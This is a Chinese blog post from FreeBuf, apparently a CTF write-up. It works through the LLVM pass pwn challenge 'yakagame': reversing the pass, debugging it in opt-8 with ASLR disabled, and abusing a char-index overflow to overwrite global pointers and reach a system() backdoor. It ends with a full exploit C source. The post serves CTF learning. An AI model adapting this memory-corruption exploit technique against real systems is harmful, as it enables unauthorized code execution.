freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

llvm pass pwn-1
2022-08-31 10:31:10
所属地 广东省

通过一道题目来入门 llvm pass pwn

环境配置

ubuntu18下安装clang-8环境

apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev

yakagame

分析处理逻辑

对.so文件进行逆向

1661912060_630ec3fcdb19b128c1685.png!small?1661912059979

得到函数名如下

gamestart

fight

merge

destroy

upgrade

wuxiangdeyidao

zhanjinniuza

guobapenhuo

tiandongwanxiang

一眼原,另外,在处理完这些函数之后,程序还对其他函数名的函数进行了处理,这里对其他函数的处理又涉及了另一个全局的数组funMap,说实话看到这里我有点懵,c++的我直接有点看不懂,没办法,看不懂的直接调试,这里先放着,先去看看其他函数

1661912092_630ec41ca7fb884c192ee.png!small?1661912091871

首先是fight函数

1661912099_630ec42313cd0623c740d.png!small?1661912098326

这里还是比较友好的,首先拿到一个参数作为index,之后通过index从weaponlist拿到一个值,之后和boss这个全局变量进行比较

1661912108_630ec42c9d13fba9864b3.png!small?1661912107657

如果拿出来的值扣去boss血量大于0x12345678时就执行后门,后面里边有system函数的调用

1661912481_630ec5a14222288db29a0.png!small?1661912480323

个人感觉通过正常流程执行到这个后门是有可能的

其次是merge函数

1661912504_630ec5b8dd9a5dda41fad.png!small?1661912503985

将两个参数当成 index ,作为weaponlist的索引实现 add 操作

然后是destroy函数

1661912518_630ec5c61edae7f7882e4.png!small?1661912517174

将参数当成 index ,作为weaponlist的索引实现置0操作

之后是upgrade函数

1661912532_630ec5d492c3f301cfa0d.png!small?1661912531736

weaponlist每个字节加上参数的值

最后是原味函数

1661912553_630ec5e9e2c272384b3e3.png!small?1661912553016

一队四个人,还挺严谨,都是减去boss血量之后对cmd也就是后门的参数进行操作

看到这里,我个人的思路主要在于merge操作,这个操作里似乎看起来好像没有对index做限制,因此似乎可以随意修改全局变量的值??可以看到,这些全局变量都贴的比较近,有没有一种可能,可以通过merge对这些全局变量进行控制呢?

1661912567_630ec5f73d2e7cb42882d.png!small?1661912566346

另外,还有最后一个处理流程是怎样的呢,带着这两个疑问,我们进入调试

调试与分析

首先写一个简单的测试把所有函数都用上尝试一下

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void gamestart()
{
wuxiangdeyidao();
zhanjinniuza();
guobapenhuo();
tiandongwanxiang();
upgrade(0x50);
destroy(6);
merge(-1,0);
fight(1);
}

处理并运行一下

clang-8 -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./yaka.so -ayaka ./exp.ll

效果如下

1661912581_630ec605cab94090b0a4c.png!small?1661912580952

这里的函数只有upgradefight有回显,也看不出什么来,有不得不调试的理由了呢

由于直接调试的是 opt 文件,因此要等.so文件加载出来后才可以进行调试

先把aslr关了方便调试

echo 0 > /proc/sys/kernel/randomize_va_space

运行得到yaka.so的起始地址

1661912594_630ec6126d34e20d5f57e.png!small?1661912593615

程序还是要先进入 opt 的,首先将断点下在main函数,找到什么时候加载 yaka.so,之后将断点下在该位置,然后就可以在yaka.so里下断点了,这里直接在yaka.sofight处理模块下断点

断点一 :0x4b8e0e

断点二 :0xCAD7+0x7ffff238e000

之后查看关键全局变量,注意看,测试的 merge (-1,0) 貌似没有操作,但是在weaponlist最后有个 0xa0,这个应该就是merge操作后的结果,-1被处理成0xff了

1661912607_630ec61f2748e6321f1a0.png!small?1661912606354

1661912615_630ec62787fa6c0ccd431.png!small?1661912614588


负向溢出不行,正向溢出经尝试也不行,因此还是得看最后的函数处理

断点一 :0x4b8e0e

断点二 :0xD12E+0x7ffff238e000

随便写个函数

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
aaaa(0);
bbbb(1);
}

神踏马居然过了,原来写啥样的都行,只要是c语言函数库以外的就行

1661912627_630ec633c305ae0087f29.png!small?1661912626937

但是貌似没用,现在的关键是如何进到下面对weaponlist有操作的分支

1661912633_630ec639933920be64985.png!small?1661912632745

不过c嘉嘉的看起来真的是一坨,再调试一下,运行之后发现原本为空的funMap有了内容

1661912647_630ec64776095e144d971.png!small?1661912646699

再continue到下次运行到此处,funMap内容已经有了更新,并且以某种链表的形式串了起来

1661912699_630ec67b0c7297736aa9c.png!small?1661912698343

那么可以猜测,程序遇到不认识的函数就会用funMap存起来

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
aaaa(0);
bbbb(1);
aaaa(0);
aaaa(0);
}

更新一下脚本,再次运行,这样就大概弄清楚了,遇到不认识的函数,首先会查funMap表,如果里面有就进入weaponlist的操作流程,如果没有就存起来

1661912709_630ec685d696ac0235c09.png!small?1661912708932

接着进去看看weaponlist被赋值成了什么

断点二:0xD1C5+0x7ffff238e000

貌似是被赋值成为了函数里的参数,更新一下脚本

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);

void gamestart()
{
aaaa(77);
bbbb(1);
aaaa(77);
bbbb(1);
aaaa(77);

fight(1);
}

再次断点调试,成功写入

1661912748_630ec6aca9e6df3c0b3dc.png!small

但是貌似每个函数只能用一次?

之后发现,map搜索到函数所用的次数就是index,而这个map是通过函数名字符串来索引的,换句话说,插入map表的函数的位置就是调用时被写入的index,也就是说,不是这个函数只能用一次,而是这个函数用几次效果都一样,都只能写到对应位置

攻击

我们再次回到那个循环,可以看到循环的这个idx仅仅是char类型

1661912776_630ec6c8cfa1dda71409d.png!small?1661912776067

而char类型的范围是-128 ~ +127,因此只要map表足够长,循环足够多的次数,就可以实现负向溢出了,用python生成一下0x100个函数名,实现 -0x80 到 0xff 的控制

from pwn import *
import os

str1 = ''
for i in range(0x100):
str1 += 'void fun{0:03}'.format( i) + '(int a);\n'

str2 = ''
for i in range(0x100):
str2 += 'fun{0:03}'.format( i) + '(0);\n'


# print(str1)
print(str2)

我们再来看看关键的全局变量,这些实际上都是指针,怎么办呢,我们可以找个sh字符串来替换cmd,可以看到,opt-8程序没有开pie,因此可以直接在这里找sh字符串

1661912807_630ec6e71bbbb6bb862a9.png!small?1661912806304

很经典的fflush函数

1661912811_630ec6eb897dd73a53261.png!small?1661912810558

addr : 0x6efdad

最后是score,我们再回到 fight 这个地方,你会发现,就算是 loss 也会执行最后的判断,因此不是强迫症我们根本不需要管前面的玩意

再看下这个比较,把score里的东西作为 __int64 指针解析,那么我们只需要改一下指针的偏移,让他随便指向一个地址即可过检查了

1661912819_630ec6f3ed12c9fd42101.png!small?1661912819192

这个时候又想到了opt-8这个程序,里面的got表他不就是指向了一个地址吗,我们随便弄一个过来用

addr : 0x77dfd8

写入成功

1661912833_630ec701b953490755c22.png!small?1661912832881

都到这里也不需要调了,攻击成功

1661912847_630ec70fda7c12084bc09.png!small?1661912847386

脚本

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();

void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

void fun000(int a);
void fun001(int a);
void fun002(int a);
void fun003(int a);
void fun004(int a);
void fun005(int a);
void fun006(int a);
void fun007(int a);
void fun008(int a);
void fun009(int a);
void fun010(int a);
void fun011(int a);
void fun012(int a);
void fun013(int a);
void fun014(int a);
void fun015(int a);
void fun016(int a);
void fun017(int a);
void fun018(int a);
void fun019(int a);
void fun020(int a);
void fun021(int a);
void fun022(int a);
void fun023(int a);
void fun024(int a);
void fun025(int a);
void fun026(int a);
void fun027(int a);
void fun028(int a);
void fun029(int a);
void fun030(int a);
void fun031(int a);
void fun032(int a);
void fun033(int a);
void fun034(int a);
void fun035(int a);
void fun036(int a);
void fun037(int a);
void fun038(int a);
void fun039(int a);
void fun040(int a);
void fun041(int a);
void fun042(int a);
void fun043(int a);
void fun044(int a);
void fun045(int a);
void fun046(int a);
void fun047(int a);
void fun048(int a);
void fun049(int a);
void fun050(int a);
void fun051(int a);
void fun052(int a);
void fun053(int a);
void fun054(int a);
void fun055(int a);
void fun056(int a);
void fun057(int a);
void fun058(int a);
void fun059(int a);
void fun060(int a);
void fun061(int a);
void fun062(int a);
void fun063(int a);
void fun064(int a);
void fun065(int a);
void fun066(int a);
void fun067(int a);
void fun068(int a);
void fun069(int a);
void fun070(int a);
void fun071(int a);
void fun072(int a);
void fun073(int a);
void fun074(int a);
void fun075(int a);
void fun076(int a);
void fun077(int a);
void fun078(int a);
void fun079(int a);
void fun080(int a);
void fun081(int a);
void fun082(int a);
void fun083(int a);
void fun084(int a);
void fun085(int a);
void fun086(int a);
void fun087(int a);
void fun088(int a);
void fun089(int a);
void fun090(int a);
void fun091(int a);
void fun092(int a);
void fun093(int a);
void fun094(int a);
void fun095(int a);
void fun096(int a);
void fun097(int a);
void fun098(int a);
void fun099(int a);
void fun100(int a);
void fun101(int a);
void fun102(int a);
void fun103(int a);
void fun104(int a);
void fun105(int a);
void fun106(int a);
void fun107(int a);
void fun108(int a);
void fun109(int a);
void fun110(int a);
void fun111(int a);
void fun112(int a);
void fun113(int a);
void fun114(int a);
void fun115(int a);
void fun116(int a);
void fun117(int a);
void fun118(int a);
void fun119(int a);
void fun120(int a);
void fun121(int a);
void fun122(int a);
void fun123(int a);
void fun124(int a);
void fun125(int a);
void fun126(int a);
void fun127(int a);
void fun128(int a);
void fun129(int a);
void fun130(int a);
void fun131(int a);
void fun132(int a);
void fun133(int a);
void fun134(int a);
void fun135(int a);
void fun136(int a);
void fun137(int a);
void fun138(int a);
void fun139(int a);
void fun140(int a);
void fun141(int a);
void fun142(int a);
void fun143(int a);
void fun144(int a);
void fun145(int a);
void fun146(int a);
void fun147(int a);
void fun148(int a);
void fun149(int a);
void fun150(int a);
void fun151(int a);
void fun152(int a);
void fun153(int a);
void fun154(int a);
void fun155(int a);
void fun156(int a);
void fun157(int a);
void fun158(int a);
void fun159(int a);
void fun160(int a);
void fun161(int a);
void fun162(int a);
void fun163(int a);
void fun164(int a);
void fun165(int a);
void fun166(int a);
void fun167(int a);
void fun168(int a);
void fun169(int a);
void fun170(int a);
void fun171(int a);
void fun172(int a);
void fun173(int a);
void fun174(int a);
void fun175(int a);
void fun176(int a);
void fun177(int a);
void fun178(int a);
void fun179(int a);
void fun180(int a);
void fun181(int a);
void fun182(int a);
void fun183(int a);
void fun184(int a);
void fun185(int a);
void fun186(int a);
void fun187(int a);
void fun188(int a);
void fun189(int a);
void fun190(int a);
void fun191(int a);
void fun192(int a);
void fun193(int a);
void fun194(int a);
void fun195(int a);
void fun196(int a);
void fun197(int a);
void fun198(int a);
void fun199(int a);
void fun200(int a);
void fun201(int a);
void fun202(int a);
void fun203(int a);
void fun204(int a);
void fun205(int a);
void fun206(int a);
void fun207(int a);
void fun208(int a);
void fun209(int a);
void fun210(int a);
void fun211(int a);
void fun212(int a);
void fun213(int a);
void fun214(int a);
void fun215(int a);
void fun216(int a);
void fun217(int a);
void fun218(int a);
void fun219(int a);
void fun220(int a);
void fun221(int a);
void fun222(int a);
void fun223(int a);
void fun224(int a);
void fun225(int a);
void fun226(int a);
void fun227(int a);
void fun228(int a);
void fun229(int a);
void fun230(int a);
void fun231(int a);
void fun232(int a);
void fun233(int a);
void fun234(int a);
void fun235(int a);
void fun236(int a);
void fun237(int a);
void fun238(int a);
void fun239(int a);
void fun240(int a);
void fun241(int a);
void fun242(int a);
void fun243(int a);
void fun244(int a);
void fun245(int a);
void fun246(int a);
void fun247(int a);
void fun248(int a);
void fun249(int a);
void fun250(int a);
void fun251(int a);
void fun252(int a);
void fun253(int a);
void fun254(int a);
void fun255(int a);

void gamestart()
{
fun000(0);
fun001(0);
fun002(0);
fun003(0);
fun004(0);
fun005(0);
fun006(0);
fun007(0);
fun008(0);
fun009(0);
fun010(0);
fun011(0);
fun012(0);
fun013(0);
fun014(0);
fun015(0);
fun016(0);
fun017(0);
fun018(0);
fun019(0);
fun020(0);
fun021(0);
fun022(0);
fun023(0);
fun024(0);
fun025(0);
fun026(0);
fun027(0);
fun028(0);
fun029(0);
fun030(0);
fun031(0);
fun032(0);
fun033(0);
fun034(0);
fun035(0);
fun036(0);
fun037(0);
fun038(0);
fun039(0);
fun040(0);
fun041(0);
fun042(0);
fun043(0);
fun044(0);
fun045(0);
fun046(0);
fun047(0);
fun048(0);
fun049(0);
fun050(0);
fun051(0);
fun052(0);
fun053(0);
fun054(0);
fun055(0);
fun056(0);
fun057(0);
fun058(0);
fun059(0);
fun060(0);
fun061(0);
fun062(0);
fun063(0);
fun064(0);
fun065(0);
fun066(0);
fun067(0);
fun068(0);
fun069(0);
fun070(0);
fun071(0);
fun072(0);
fun073(0);
fun074(0);
fun075(0);
fun076(0);
fun077(0);
fun078(0);
fun079(0);
fun080(0);
fun081(0);
fun082(0);
fun083(0);
fun084(0);
fun085(0);
fun086(0);
fun087(0);
fun088(0);
fun089(0);
fun090(0);
fun091(0);
fun092(0);
fun093(0);
fun094(0);
fun095(0);
fun096(0);
fun097(0);
fun098(0);
fun099(0);
fun100(0);
fun101(0);
fun102(0);
fun103(0);
fun104(0);
fun105(0);
fun106(0);
fun107(0);
fun108(0);
fun109(0);
fun110(0);
fun111(0);
fun112(0);
fun113(0);
fun114(0);
fun115(0);
fun116(0);
fun117(0);
fun118(0);
fun119(0);
fun120(0);
fun121(0);
fun122(0);
fun123(0);
fun124(0);
fun125(0);
fun126(0);
fun127(0);
fun128(0);
fun129(0);
fun130(0);
fun131(0);
fun132(0);
fun133(0);
fun134(0);
fun135(0);
fun136(0);
fun137(0);
fun138(0);
fun139(0);
fun140(0);
fun141(0);
fun142(0);
fun143(0);
fun144(0);
fun145(0);
fun146(0);
fun147(0);
fun148(0);
fun149(0);
fun150(0);
fun151(0);
fun152(0);
fun153(0);
fun154(0);
fun155(0);
fun156(0);
fun157(0);
fun158(0);
fun159(0);
fun160(0);
fun161(0);
fun162(0);
fun163(0);
fun164(0);
fun165(0);
fun166(0);
fun167(0);
fun168(0);
fun169(0);
fun170(0);
fun171(0);
fun172(0);
fun173(0);
fun174(0);
fun175(0);
fun176(0);
fun177(0);
fun178(0);
fun179(0);
fun180(0);
fun181(0);
fun182(0);
fun183(0);
fun184(0);
fun185(0);
fun186(0);
fun187(0);
fun188(0);
fun189(0);
fun190(0);
fun191(0);
fun192(0);
fun193(0);
fun194(0);
fun195(0);
fun196(0);
fun197(0);
fun198(0);
fun199(0);
fun200(0);
fun201(0);
fun202(0);
fun203(0);
fun204(0);
fun205(0);
fun206(0);
fun207(0);
fun208(0);
fun209(0);
fun210(0);
fun211(0);
fun212(0);
fun213(0);
fun214(0);
fun215(0);
fun216(0);
fun217(0);
fun218(0);
fun219(0);
fun220(0);
fun221(0);
fun222(0);
fun223(0);
fun224(0);
fun225(0);
fun226(0);
fun227(0);
fun228(0);
fun229(0);
fun230(0);
fun231(0);

// -0x18
fun232(0xad);
fun233(0xfd);
fun234(0x6e);
fun235(0);
fun236(0);
fun237(0);
fun238(0);
fun239(0);

// -0x10
fun240(0xd8);
fun241(0xdf);
fun242(0x77);
fun243(0);
fun244(0);
fun245(0);
fun246(0);
fun247(0);
fun248(0);
fun249(0);
fun250(0);
fun251(0);
fun252(0);
fun253(0);
fun254(0);
fun255(0); // -1

fun232(0xad);
fun233(0xfd);
fun234(0x6e);

fun240(0xd8);
fun241(0xdf);
fun242(0x77);

fight(1);
}
# pwn # LLVM
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录